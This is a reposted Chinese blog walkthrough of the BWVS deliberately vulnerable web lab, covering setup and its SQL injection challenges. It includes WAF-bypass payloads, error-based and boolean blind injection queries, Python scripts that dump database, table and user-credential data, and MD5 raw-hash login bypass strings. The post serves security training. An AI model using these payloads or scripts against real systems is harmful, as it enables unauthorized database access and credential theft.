BWVS-2018最新web漏洞大型综合类测试系统

转载自:https://blog.csdn.net/weixin_42373210/article/details/81196338

1.BWVS简介

BWVS(Bugku Web Vulnerability System)是一个基于留言功能的简单Web漏洞测试系统,具有较强的可移植性和扩展性,适用于业界主流的Web集成环境,如:WAMP(Windows+Apache+Mysql+PHP)、LAMP(Linux+Apache+Mysql+PHP)、LNMP(Linux+Nginx+Mysql+PHP)。
      系统中包含了主流的PHP Web漏洞,如:SQL注入漏洞、上传漏洞、XSS跨站脚本漏洞、命令注入漏洞、文件包含漏洞、源代码泄露、Session劫持、IP伪造验证漏洞、代码逻辑错误漏洞等。 其中以SQL注入漏洞、XSS跨站脚本漏洞等高危Web漏洞为主,系统内置了10余个WAF函数,目的是为了更加贴近实战环境,提高渗透测试人员和代码审计人员的综合能力,同时适合有一定基础的Web安全学习者深入学习和了解Web安全

2.BWVS 靶机搭建

1.首先附上BWVS 靶机地址:

百度网盘链接: https://pan.baidu.com/s/1o94RVqq 密码: i7jd

Github链接:https://github.com/bugku/BWVS

 

2.靶机所需环境:

PHP+MYSQL 环境即可,但是注意不要再生产环境上搭建靶机,在虚拟机中(我用的 win7)百度搜索 phpstudy 就能下载2018最新版本,下载后还需要安装 VC11,在第一次启动 phpstudy 的时候可能会遇到80端口占用的情况。

解决方法如下:

在命令行输入netstat -aon可以查看80端口是被谁占用了。发现是被系统占用了。所以:

发现pid是4的进程占用着80端口,这还是一个系统进程,kill不掉。所以只能另想办法:

(1)、打开运行输入,regedit 也就是打开笔记本的注册表

(2)、找到:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\HTTP

(3)、在右边找到Start这一项,将其改为0

(4)、重启系统,System进程不会占用80端口,也可通过netstat -aon查看,发现80端口确实已经不被占用了

(5)、最后一步,重启之后,再启动phpstudy就可以了。

安装成功后先打开phpStudy 的配置文件php.ini,

需要开启:(复制前半段用 ctrl+F 快速搜索)

allow_url_include = On(需要手动开启)

allow_url_fopen = On(默认为开启)

如下图:

3.配置靶机:

在下载靶机的时候就有配置的描述,但是对于小白可能看不太懂,这里详细描述一下。

(1)、首先需要导入根目录的sql 文件,我这里找到一个比较简单的方法,打开 phpstudyà选择 MySQL 管理器à选择数据库导入导出à选择靶机需要导入的.sql文件à新建数据库名称à点击导入即可,具体步骤如下图:

(2)、首先把下载靶机解压的 WWW 文件夹重新命名为 BWVS 后放入到C:\phpStudy\PHPTutorial\WWW目录下(根据自己 phpStudy 的安装目录而定),接着需要修改\bwvs_config\sys_config.php 配置文件中的Mysql 和根目录的配置,这里需要注意的是如果数据库没有改用户名和密码那只需要把 “DateName”改为“BWVS” 然后把根目录改为文件夹的名字‘/BWVS’即可。如下图:

(3)、接着修改\bug\conn.php里的mysql配置,同理如果没有改动数据库的用户名和密码只需要将新建的数据库名修改了即可。如下图:

这样靶机的配置就完成了,接下来在浏览器里面输入http://localhost/BWVS/即可打开靶机-- Web漏洞渗透测试系统,点击漏洞信息即可查看平台中共计41个漏洞,包括漏洞名称、漏洞类型、漏洞位置、参考链接。如下图:

 

3.BWVS 漏洞详解----SQL 注入漏洞

    平台上简单的例如:SQL数字型注入、SQL字符型注入、SQL搜索型注入2、sql盲注、都是一些简单的基础型注入,没有加waf函数,小白可以先从这些内容入手,下面主要讲几个加了 waf 条件的绕过方法,对于基础知识比较好的想提升自己的就可以研究一下,另外运维研发方面的小伙伴也可以借鉴一下 waf 规则在现实场景进行策略加固。

(1)、SQL 报错型注入(基于报错的 SQL 盲注)

漏洞地址:/user/logCheck.php、/user/updateName.php

这里需要首先说明一下平台会有漏洞位置的目录说明,但不是意味着这些目录都能直接访问,因此需要先用burpsuite抓包工具去看一下什么操作会调用到漏洞位置的 php 文件再进行漏洞挖掘。比如说/user/logCheck.php,这个目录产生在登录界面/user/login.php。当输入完用户名和密码后,由logCheck.php去检查用户名和密码。

首先先测试sql 注入漏洞类型,在用户名框内输入一个单引号’,看见数据库报错,可以确定数据库为 mysql 数据库。输入两个单引号’’,发现页面显示正常,可以确定为基于字符型的SQL注入。闭合字符为’。

这里附上 logCheck.php的源码和 waf 代码:

从 sql 语句中可以看出,$clean_name是直接从登录框取的输入 user的值,"."'"."$clean_name"."'"."是一种拼接等同于'$clean_name'。而在密码处进行了 md5加密处理,所以我们可以从用户名入手,由于waf 拦截了很多字符串,发现没有过滤单引号以及注释符,这里可以通过单引号’闭合+注释符#将后面的内容注释完成绕过。

构造参数例如:

用户名:Crazy-boom’#(这里用户名必须是真实存在的,接下来有个验证机制)

密码:(随便写)

PS:这里扩展一下关于 mysql 服务器注释符的小知识,一共有3中注释方式:

1.从‘#’字符从行尾。 

2.从‘-- ’序列到行尾。请注意‘-- ’第二个-后面要加一个空格 tab 或者换行符。

3.从/*序列到后面的*/序列。结束序列不一定在同一行中,因此该语法允许注释跨越多行。

 

通过下图可以知道,绕过是基于知道用户名后才能进行的操作,由于这里没有安全验证的机制(验证码,限制输入次数)如果在实战中可以写一个小脚本利用字典加上 payload 爆破一下,来绕过登录界面。

     登录到平台后,点击编辑来到第二个地址/user/updateName.php,和之前一样的测试手法,首先在用户名后面加一个单引号’,如下图:

接着闭合单引号’并将后面内容#注释了,返回正常页面,确认单引号’闭合。

因为之前知道数据库是 mysql 便可以跳过数据库验证,开始猜解列数。这里有一个个人小技巧,就是二分法, 在这里先尝试order by 10发现报错,进而尝试 order by 5发现正常,范围是【5,10】。二分后查询order by 7发现报错,查询 order by 6 发现也报错,可以确认有5列。

到这一步都和平台给的参考资料内的操作步骤相似,关键内容也来了,那就是如果继续按照正常方式注入爆出显示位的时候会报错,无法爆出显示位。如下图:

这时候继续来查看 waf 代码,发现同样被过滤了一些参数:

 

"/(union|sleep|substr)/i"  /i的意思是不分大小写过滤

"/union\s+select/i"  "/and\s+sleep/i"  通过正则来过滤 所以注入语句不能包含union select 和 and sleep 连在一起使用。规则结合在一起就是多次匹配过滤规则了,接下来就是需要想绕过手法了。

在尝试的过程中发现了此处注入点存在报错注入,经过错误调整后成功得到当前数据库名:

(select1from(selectcount(*),concat(0x3a,0x3a,(selectdatabase()),0x3a,0x3a,floor(rand()*2)) as a from information_schema.columns group by a)b)

 

接下来又是常规的注入流程,开始爆表名,由于限制每次只能返回一列,所以需要通过控制 limit 0,1àlimit n,1来获取所需的表名,n 代表任意数字。

select table_name from information_schema.tables where table_schema=database() limit 4,1

爆列名,在过程中会遇到返回值限制的问题,这里多试几次就会恢复正常。

select column_name from information_schema.columns where table_name='dwvs_user_message' limit 2,1

最后爆用户名和密码。

select concat_ws(char(32,58,32),DWVS_user_id,DWVS_user_name,DWVS_user_passwd) from dwvs_user_message where table_schema=database() limit 1,1

这里就是报错双注入的用法,关于双注入中涉及到 mysql 数据库基础知识的讲解建议初学者先看看下面这篇文章是对Mysql报错注入(count()、rand()、group by)的原理分析。

链接:http://www.javashuo.com/article/p-xygojenp-bg.html

在这里/user/logCheck.php其实还存在关于 SQL联合查询注入,经过尝试输入的参数总被 waf 给拦截了,没有找到绕过的方法,后续有研究出来的大佬可以留言教教我。

(2)搜索型注入(基于布尔 SQL 盲注)

找到搜索框就可以开始尝试注入了,当然这里也是有 waf 函数的,首先附上 waf 代码。如下图:

通过测试从这里可以判断出来这个 sql 注入漏洞是个基于盲注,这里主要介绍一下盲注的判断方法和思路,以及新手接触盲注快速上手的小技巧。搜索框首先需要的还是先闭合,但是布尔类型的盲注不会报错,有时候盲目的尝试往往效率偏低,这里推荐的方法就是通过phpMyAdmin里面的SQL 查询页面以及search.php页面源码中的sql语句来模拟闭合。如下图:

首先来尝试闭合语句,在不考虑 waf 的情况下,先可以尝试 'or 1=1 -- 的方法来将后面的内容注释了,发现当 or 1=1的时候能够查询到所有数据,而当 or 1=2的时候查询结果为0,证明这种闭合是成功的。

接下来就要结合着 waf 的过滤规则来优化闭合语句,可以看出来 waf 里面过滤了 or、and、注释符、斜杠、星号等,因此语句中包含字母的可以先尝试一下双写绕过,因为不能用注释符,这里通过用'oorr(构造sql语句)oorr '来使语句闭合且能够执行构造的 sql 语句,这里也可以用逻辑运算符来绕过or的过滤' ||(构造sql语句)|| '。

构造的 sql 语句就要从常用的基于布尔的SQL盲注手法入手,首先利用 length() 函数的length(database())>1(任何数字)方法来获取数据库名称长度。经过测试发现当大于4的时候界面显示不正常,因此可以判断数据库的名称长度为4。如下图:

 

接着需要用substr()函数和ascii()函数,这里提一下基础概念substr(a,b,c)从b位置开始,截取字符串a的c长度。Ascii()将某个字符转换为ascii值,构造的语句就是ascii(substr((select database()),1,1))>66(参照 ascii 表65-122代表‘A-z’),先上效果图,再说一下思路。

从上面两幅图可以知道当大于66时证明数据库第一个字母是比 A 大的,因此会显示正常页面,而当大于122时字母不会比 z 大恒等错,必定会显示不正常页面,通过得到的页面信息可以写一个 python 小脚本来帮助我们验证,比如错误页面无显示,正确页面的 User 那一栏会显示 Crazy-boom。

脚本中采用了二分法来测试,如果是手工的话最快的也是二分法,但是4个字母的数据库还好,如果遇到数据库名字更多的手工验证就不实际了,脚本反而是更好的选择。这种小脚本网上都有很多,借助现有的轮子加以改造是我比较推崇的高效率的方法,对于新手来说要先能看懂脚本中的含义才能修改,不然无从下手。下面附上python 脚本的效果图以及代码:

 
  1. import sys

  2.  
  3. import requests

  4.  
  5.  
  6. url="http://10.211.55.5/BWVS/search.php?search=0%s" #目标地址

  7.  
  8. payload="' || ascii(substr(database(),%s,1))>%s ||'" #构造的 sql 语句

  9.  
  10. database=''

  11.  
  12. print("Start to retrive the database")

  13.  
  14. for i in range(1,5): #测试过数据名称长度为1-4

  15.  
  16. max=122 #z对应的 ascii 表值

  17.  
  18. min=65 #A对应的 ascii 表值

  19.  
  20. while abs(max-min)>1:

  21.  
  22. mid=int((max+min)/2)

  23.  
  24. p=payload % (str(i),str(mid)) #用于替换payload中的%s

  25.  
  26. response=requests.get(url % p) #将 payload接到url后面

  27.  
  28. if response.content.find("Crazy-boom")!=-1: #判断页面返回结果

  29.  
  30. min=mid

  31.  
  32. else:

  33.  
  34. max=mid

  35.  
  36. database=database+chr(max)

  37.  
  38. print("the database is :%s" % database)

接下来的步骤和常规的 sql 注入没有什么区别,但是有细节和小技巧需要提一下,在提取表名的时候如果是手工的话就和数据库名称长度猜测一样,也需要用 length 来获取表名的长度,但是因为已经获得了轮子那就可以继续修改,sql 语句还是用到了substr()函数和ascii()函数:ascii(substr((select table_name from infoorrmation_schema.tables where table_schema=database() limit 0,1),1,1))>60。

这里对轮子在修改的基础上进一步优化了结果的展示以及用了新的循环来一次性将所有的表名都分开展示出来。下面附上结果图以及代码:

 
  1. import sys

  2.  
  3. import requests

  4.  
  5.  
  6. url="http://10.211.55.5/BWVS/search.php?search=0%s"

  7.  
  8. payload="' || ascii(substr((select table_name from infoorrmation_schema.tables where table_schema=database() limit %s,1),%s,1))>%s ||'" #这里要考虑到waf 规则,双写 or

  9.  
  10. database=''

  11.  
  12. print("Start to retrive the database")

  13.  
  14. for b in range(0,10): #新加入的循环 懒得手动改 limit0,1àn,1

  15.  
  16. database=str() # 初始化 database的值

  17.  
  18. for i in range(1,20):

  19.  
  20. max=127 #DEL

  21.  
  22. min=31 #这一步纯粹是为了美观(32是空格)

  23.  
  24. while abs(max-min)>1:

  25.  
  26. mid=int((max+min)/2)

  27.  
  28. p=payload % (str(b),str(i),str(mid))

  29.  
  30. response=requests.get(url % p)

  31.  
  32. if response.content.find("Crazy-boom")!=-1:

  33.  
  34. min=mid

  35.  
  36. else:

  37.  
  38. max=mid

  39.  
  40. database+=chr(max) #a+=b àa=a+b

  41.  
  42. print("the database is :%s" % database) #将print和第二个for对齐每循环20次输出

接着就需要爆字段名称和脱库。和爆表名一样只需要在优化过的脚本中修改payload 即可,payload="' || ascii(substr((select column_name from infoorrmation_schema.columns where table_name=0x647776735f757365725f6d657373616765 limit %s,1),%s,1))>%s ||'"。table_name 需要用 hackbar 来将表名转换为16进制并加上0x 。如下图:

脱库的payload="' || ascii(substr((select DWVS_user_name from dwvs_user_message limit %s,1),%s,1))>%s ||'"

 

(3)MD5注入

漏洞地址:/admin/logCheack.php

先来看一下源码和 WAF 函数:

首先这个和之前那个登录框绕过的原理一样,如果 clear_all参数中没有过滤掉#和单引号,就可以利用 admin’#来绕过登录界面,这里的话就需要寻找另外的思路来进行绕过。从源码中可以看出来 sql 语句的密码验证处使用了 md5($admin_pass,true) 的验证方式,觉得有戏,这也是一种注入方式叫做 MD5注入。

MD5注入就是利用到了md5($str,raw)这个语法,这里讲一下这个语法的原理。

参数

描述

$str

必需。规定要计算的字符串。

raw

可选。规定十六进制或二进制输出格式:

TRUE - 原始 16 字符二进制格式

FALSE - 默认。32 字符十六进制数

实际运用中的例子如下:

简单来说就是当用了md5($admin_pass,true)这种方式的时候,会将编码后的16进制转换为字符串,如果某一字符串的md5恰好能够产生如‘or’之类的注入语句,就可以进行注入了。因此如果以后遇到这种格式的密码 md5验证,就可以直接尝试这种方式进行注入。

这里从网络上收集了两个能进行绕过的字符串,并且成功绕过登录框完成登录,登录后的用户名显示为登录时任意输入的用户名,实际登录的用户为通过数据库在表中新建的 admin 管理员用户。效果如下图:

  1. 原始字符串:ffifdyop

MD5编码后:276f722736c95d99e921722cf9ed621c

   转换成字符串后:'or'6]!r,b

  1. 原始字符串:129581926211651571912466741651878684928

MD5加密后: 06da5430449f8f6f23dfc1276f722738 

转换成字符串后:T0Do#'or'8

 

这两个收集过来的字符串也是目前网上流传的大牛们构造好的字符串,如果说想要自己设计一个独有的字符串,按照大佬的思路是通过穷举法经过大量计算最后得出答案,看了国外友人的计算过程,最后一共只计算1900万MD5 哈希就成功了。

以上就是BWVS平台中关于 sql 注入方面的内容了,希望能够给新手们或者刚进入安全行业的人们带来一些帮助,同样在有些地方我也遇到了一些问题,我在文中也有提到,也希望懂的大佬们指点一二,一起进步!

    之后还有XSS 漏洞、文件包含漏洞、上传漏洞等等内容也会在后续总结之后带给大家。

--------------------- 本文来自 疯狂棒棒糖7 的CSDN 博客 ,全文地址请点击:https://blog.csdn.net/weixin_42373210/article/details/81196338?utm_source=copy